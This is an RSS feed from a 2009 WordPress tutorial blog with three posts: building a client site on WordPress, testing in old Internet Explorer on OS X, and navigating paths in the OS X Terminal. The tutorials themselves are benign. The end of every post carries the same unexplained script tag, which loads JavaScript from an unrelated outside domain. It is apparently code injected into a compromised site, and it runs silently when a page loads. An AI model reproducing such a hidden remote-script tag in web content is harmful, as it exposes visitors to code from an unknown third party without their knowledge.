<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Liteboxweb - Tutorials</title>
	<atom:link href="http://liteboxweb.com/tutorials/feed" rel="self" type="application/rss+xml" />
	<link>http://liteboxweb.com/tutorials</link>
	<description>Just another WordPress weblog</description>
	<pubDate>Wed, 18 Feb 2009 20:06:28 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using wordpress to power a normal website (Part 1)</title>
		<link>http://liteboxweb.com/tutorials/web-design/17/using-wordpress-to-power-a-normal-website-part-1</link>
		<comments>http://liteboxweb.com/tutorials/web-design/17/using-wordpress-to-power-a-normal-website-part-1#comments</comments>
		<pubDate>Wed, 18 Feb 2009 20:06:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://liteboxweb.com/tutorials/?p=17</guid>
		<description><![CDATA[This tutorial is designed to walk you through the process of installing wordpress, making custom template types and deliver your content. The point of creating ...]]></description>
			<content:encoded><![CDATA[<p>This tutorial is designed to walk you through the process of installing wordpress, making custom template types and deliver your content. The point of creating a wordpress-driven website is to provide your client with a familiar and simple method for content management. While some would prefer using a more robust CMS such as <a title="Drupal" href="http://drupal.org/" target="_blank">Drupal</a> or <a title="Joomla" href="http://www.joomla.org/" target="_blank">Joomla</a>, Wordpress blogging cms is typically much easier to use, style, <a title="expand with plugins" href="http://wordpress.org/extend/plugins/">expand with plugins</a>, and customize due to its straightforward file and php structure. Additionally, there is an advantage to using Wordpress rather than the previously mentioned CMSs because it is very lightweight vís-a-vís database queries.</p>
<p>Before we begin, I would like to suggest that you create a subdirectory on your own host in a clients area, so that way while you continue to work on your client&#8217;s project, their current website can stay online to give important business information to its web traffic. If you are building their first website, then I suggest you make a lightweight info/contact page for their website to stand in place of the website to come. Additionally, you&#8217;re doing the client a favor by working on your own server during the design process, because search engines can typically see those pages (even when they&#8217;re not linked-to), and you don&#8217;t want bad traffic on their site &#8212; its bad <a title="SEO" href="http://www.ocsearchconsulting.com/" target="_blank">SEO</a>. With that said, let&#8217;s get started!</p>
<p><span style="color: #10a5f8;"><strong>1. Install The Most Current Version of Wordpress</strong></span></p>
<p>Go to <a title="www.wordpress.org/download/" href="http://wordpress.org/download/" target="_blank">www.wordpress.org/download/</a> and download the most current version of wordpress to your desktop.</p>
<div id="attachment_19" class="wp-caption aligncenter" style="width: 410px"><img class="size-full wp-image-19" title="Downloading the current wordpress version" src="http://liteboxweb.com/tutorials/wp-content/uploads/2009/02/tut1.jpg" alt="Downloading the current wordpress version" width="400" height="213" /><p class="wp-caption-text">Downloading the current wordpress version</p></div>
<p>After you&#8217;ve downloaded it, extract the zip to your desktop and open your ftp program. If you are using a mac, try <a title="Transmit" href="http://www.panic.com/transmit/" target="_blank">Transmit</a> by the company called Panic, its nice. Now, open your ftp and drag the contents of the wordpress folder into the root of your <strong><em>clients/ClientX</em></strong> directory (&#8221;ClientX&#8221; would be the name of your client, feel free to change it).</p>
<p>Next, go into your browser and navigate to that directory. The URL should look something like this: <em>http://www.yourdomain.com/clients/ClientX/</em>wp-admin/install.php. From there, you should see a special wordpress page that asks you for some information before it completes the install and database setup. Definitely check out <a title="wordpress's instructions" href="http://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install" target="_blank">wordpress&#8217;s instructions</a> if you get hung up here.</p>
<p><span style="color: #10a5f8;"><strong>2. Set up a theme that will facilitate a non-blog website</strong></span></p>
<p><span style="color: #10a5f8;"><span style="color: #000000;">You have a couple choices for theming your wordpress site quickly. First, you can create your own theme from scratch and ensure that the page types are all covered. Second, you can download a free theme and just manipulate it until it works for you. For all intents and purposes, we will go with option 1 in this tutorial.</span></span></p>
<p><span style="color: #10a5f8;"><span style="color: #000000;">First, I&#8217;d like to explain some basic things that makes word press useful. There are different content types in wordpress (links, pages, blog posts). In your theme folder, you can make a .php file that will automatically be used as a template for that page type. So, for example, your website&#8217;s <strong>front page</strong> will be powered by <span style="color: #ff0000;"><em>index.php</em></span>, and the <strong>About Us</strong> page is a separate content type, and thus you can have a different layout by having <em><span style="color: #ff0000;">page.php</span> </em>in the directory of your theme. Similarly, you can have custom styling for the sidebar by having a <span style="color: #ff0000;"><em>sidebar.php</em></span> file, the header area by having a <span style="color: #ff0000;"><em>header.php</em></span>, and a footer area by having a <span style="color: #ff0000;"><em>header.php</em></span>. If you require more in depth information about creating themes and their respective theme files, take a look at <a title="wordpress's theme documentation" href="http://codex.wordpress.org/Using_Themes#Creating_Themes" target="_blank">wordpress&#8217;s theme documentation</a>.<br />
</span></span></p>
<p>Instruction 2.A: in your ftp, navigate to the theme directory which is located at:</p>
<pre>www.yourdomain.com/clients/ClientX/wp-content/themes/</pre>
<p>Now, create a new folder in the <span style="color: #ff0000;"><em>/themes/</em></span> folder with the same name as your client folder name all in lowercase with no spaces. So, for this example, the new folder structure is:</p>
<pre>www.yourdomain.com/clients/ClientX/wp-content/themes/clientx/</pre>
<p>It is inside this new folder that all of your site&#8217;s design, look, and feel will be based in.</p>
<p>Instruction 2.B: Create the following files and folders, and leave them empty for now.</p>
<ul>
<li>Directory named &#8220;images&#8221;</li>
<li>Directory named &#8220;iestyles&#8221; (this is because eventually we&#8217;re going to make this website cross-browser compliant)</li>
<li><a title="Creating an Error 404 Page" href="http://codex.wordpress.org/Creating_an_Error_404_Page">404 Template</a> = <tt>404.php</tt></li>
<li>Archive Template = <tt>archive.php</tt></li>
<li><a title="Creating an Archive Index" href="http://codex.wordpress.org/Creating_an_Archive_Index">Archive Index Page</a> = <tt>archives.php</tt></li>
<li>Comments Template = <tt>comments.php</tt></li>
<li>Footer Template = <tt>footer.php</tt></li>
<li><a title="Designing Headers" href="http://codex.wordpress.org/Designing_Headers">Header Template</a> = <tt>header.php</tt></li>
<li>Links = <tt>links.php</tt></li>
<li>Main Template = <tt>index.php</tt></li>
<li><a title="Pages" href="http://codex.wordpress.org/Pages">Page Template</a> = <tt>page.php</tt></li>
<li>Popup Comments Template = <tt>comments-popup.php</tt></li>
<li>Post Template = <tt>single.php</tt></li>
<li>Search Form = <tt>searchform.php</tt></li>
<li><a title="Creating a Search Page" href="http://codex.wordpress.org/Creating_a_Search_Page">Search Template</a> = <tt>search.php</tt></li>
<li><a title="Customizing Your Sidebar" href="http://codex.wordpress.org/Customizing_Your_Sidebar">Sidebar Template</a> = <tt>sidebar.php</tt></li>
<li>Stylesheet = <tt>style.css</tt></li>
</ul>
<p>Your ftp filetree should look like this:</p>
<div id="attachment_24" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-24" title="Theming wordpress" src="http://liteboxweb.com/tutorials/wp-content/uploads/2009/02/tut2.jpg" alt="Theming wordpress - what your filetree should look like." width="500" height="494" /><p class="wp-caption-text">Theming wordpress - what your filetree should look like.</p></div>
<p>Once you have gotten to this part, you&#8217;re ready to begin designing your theme. Next up, the second part of the tutorial: <em>Designing a graphical mockup of your theme, implementing it</em>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://liteboxweb.com/tutorials/web-design/17/using-wordpress-to-power-a-normal-website-part-1/feed</wfw:commentRss>
		</item>
		<item>
		<title>Testing your websites in Internet Explorer</title>
		<link>http://liteboxweb.com/tutorials/browser/13/testing-your-websites-in-internet-explorer</link>
		<comments>http://liteboxweb.com/tutorials/browser/13/testing-your-websites-in-internet-explorer#comments</comments>
		<pubDate>Thu, 05 Feb 2009 19:56:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Browser]]></category>

		<guid isPermaLink="false">http://liteboxweb.com/tutorials/?p=13</guid>
		<description><![CDATA[I was able to find a website that offers a download of Internet Explorer 5.1 and 5.2 for OSX. It was written for the Imac on OSX's original platform, but is still usable.]]></description>
			<content:encoded><![CDATA[<p>Internet explorer may be one of the most poor examples of a web browser in the current market, but their massive market share makes it necessary to debug your work for it. Unfortunately, web designers using OSX don&#8217;t have much to work with without bootcamp.</p>
<p>However, I was able to find a website that offers a download of Internet Explorer 5.1 and 5.2 for OSX. It was written for the Imac on OSX&#8217;s original platform, but is still usable.</p>
<p>What to consider when using this version of IE:<br />
- It is really, really old.<br />
- Any bugs that show up in IE 5 may have been corrected in IE 6, but likely haven&#8217;t.<br />
- Therefore, making your site work in IE 5 means it will most definitely work in all later versions.</p>
<p><a href="http://browsers.evolt.org/?/ie/mac">Download the old version of Internet Explorer for OSX here.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://liteboxweb.com/tutorials/browser/13/testing-your-websites-in-internet-explorer/feed</wfw:commentRss>
		</item>
		<item>
		<title>Paths in OSX Terminal</title>
		<link>http://liteboxweb.com/tutorials/terminal/5/paths-in-osx-terminal</link>
		<comments>http://liteboxweb.com/tutorials/terminal/5/paths-in-osx-terminal#comments</comments>
		<pubDate>Sun, 28 Dec 2008 04:28:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Google Web Toolkit]]></category>

		<category><![CDATA[Terminal]]></category>

		<category><![CDATA[django]]></category>

		<category><![CDATA[eclipse]]></category>

		<category><![CDATA[osx terminal]]></category>

		<category><![CDATA[paths]]></category>

		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://liteboxweb.com/tutorials/?p=5</guid>
		<description><![CDATA[Learn the basic concept of paths in the OSX Terminal. Some practical applications of terminal include Python, Django, Google Web Toolkit, and Eclipse.]]></description>
			<content:encoded><![CDATA[<p>Recently, I began testing eclipse with JAVA so I could start working with Google Web Toolkit (GWT). I have had a history of being hindered by using uber technical programming interfaces due to problems getting paths to work properly in terminal. Why would you need to know this? Well, if you&#8217;re going to ever use Python, Django, GWT, ECLIPSE, or anything else, you need to be able to use your terminal to run scripts.</p>
<p>Q: <em>What were all of those?</em></p>
<p>A: <strong>Python</strong>: a programming language that has been a major part of Google&#8217;s products. <strong>Django</strong>: a framework that uses python language. Meebo.com is built from Django, for example. <strong>Google Web Toolkit</strong>: it is a newly created Google product that makes cross-browser-compatible javascript and css output just from purely Java based web applications. You&#8217;d use this if you were planning on making a crazy webapp. <strong>ECLIPSE</strong>: its a programming interface that allows you to write code and manage file trees in an orderly little set of windows. Its typically used for more advanced stuff, such as C++ and beyond.</p>
<p>Ok. Now for the how-to.</p>
<p>In OSX, you have a command line program that Google Web Toolkit requires you use if you&#8217;re going to work on projects in Eclipse. A little background on Terminal, it is UNIX based and is the direct line of communication to your system, in the same way MS-DOS would for a PC. This was probably introduced around the time the apple guys came out with the Unix based version of their operating system, which got nicknamed OS X.</p>
<p><strong>PATHS</strong></p>
<p>This is by far the most frustrating part of using terminal. If no one has properly explained what path refers to what, then you&#8217;re going to be sitting there all night. By default, the path is set to your home directory. The home directory would be, for example, your name, if you were to open finder and select your name in the list on the left column. The contents of the <em>yourName</em> folder is <em>Home</em>.</p>
<p><em>Lets say your GWT folder is located at:</em></p>
<blockquote>
<pre>/John Doe/Documents/myBusiness/GoogleWebToolkit/</pre>
</blockquote>
<p>So in order to access any of the commands in GoogleWebToolkit, you&#8217;d have to navigate to that directory first by typing the following command (change directory):</p>
<blockquote>
<pre>cd "/John Doe/Documents/myBusiness/GoogleWebToolkit/"</pre>
</blockquote>
<p>Hit enter. You will notice that the command prompt will have changed to show that you are now in that directory. To view what is in the directory, type the list command:</p>
<blockquote>
<pre>ls</pre>
</blockquote>
<p>BTW, that was an L. You should see a list of all the things you have in the directory. So lets say you are in fact creating a new project in eclipse for GWT. You&#8217;d say this:</p>
<blockquote>
<pre>./projectCreator -eclipse myNewProject</pre>
</blockquote>
<p>Note: &#8220;./&#8221; comes before the text in this case because there is a projectCreator script that lives in that specific directory, therefore, we want the command to be executed WITHIN that directory (./ denotes this). If you were using a global command, you wouldn&#8217;t be using it. Project Creator is the name of the script that creates a new GWT project. &#8220;-Eclipse&#8221; refers to the fact that you want to create it inside the eclipse program, rather than another program. If you were going to use something else, specify in that space. Lastly, &#8220;myNewProject&#8221; refers to the name of your project. If you want to put it in a special directory, you can put the path before the name:</p>
<blockquote>
<pre>folder/subfolder/myNewProject</pre>
</blockquote>
<p>Of course, this is very basic stuff, but if you were anything like me, you were confused about it. Afterall, it doesn&#8217;t work the same way as MS-DOS did, so your knowledge of that must be ignored.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://liteboxweb.com/tutorials/terminal/5/paths-in-osx-terminal/feed</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.863 seconds -->
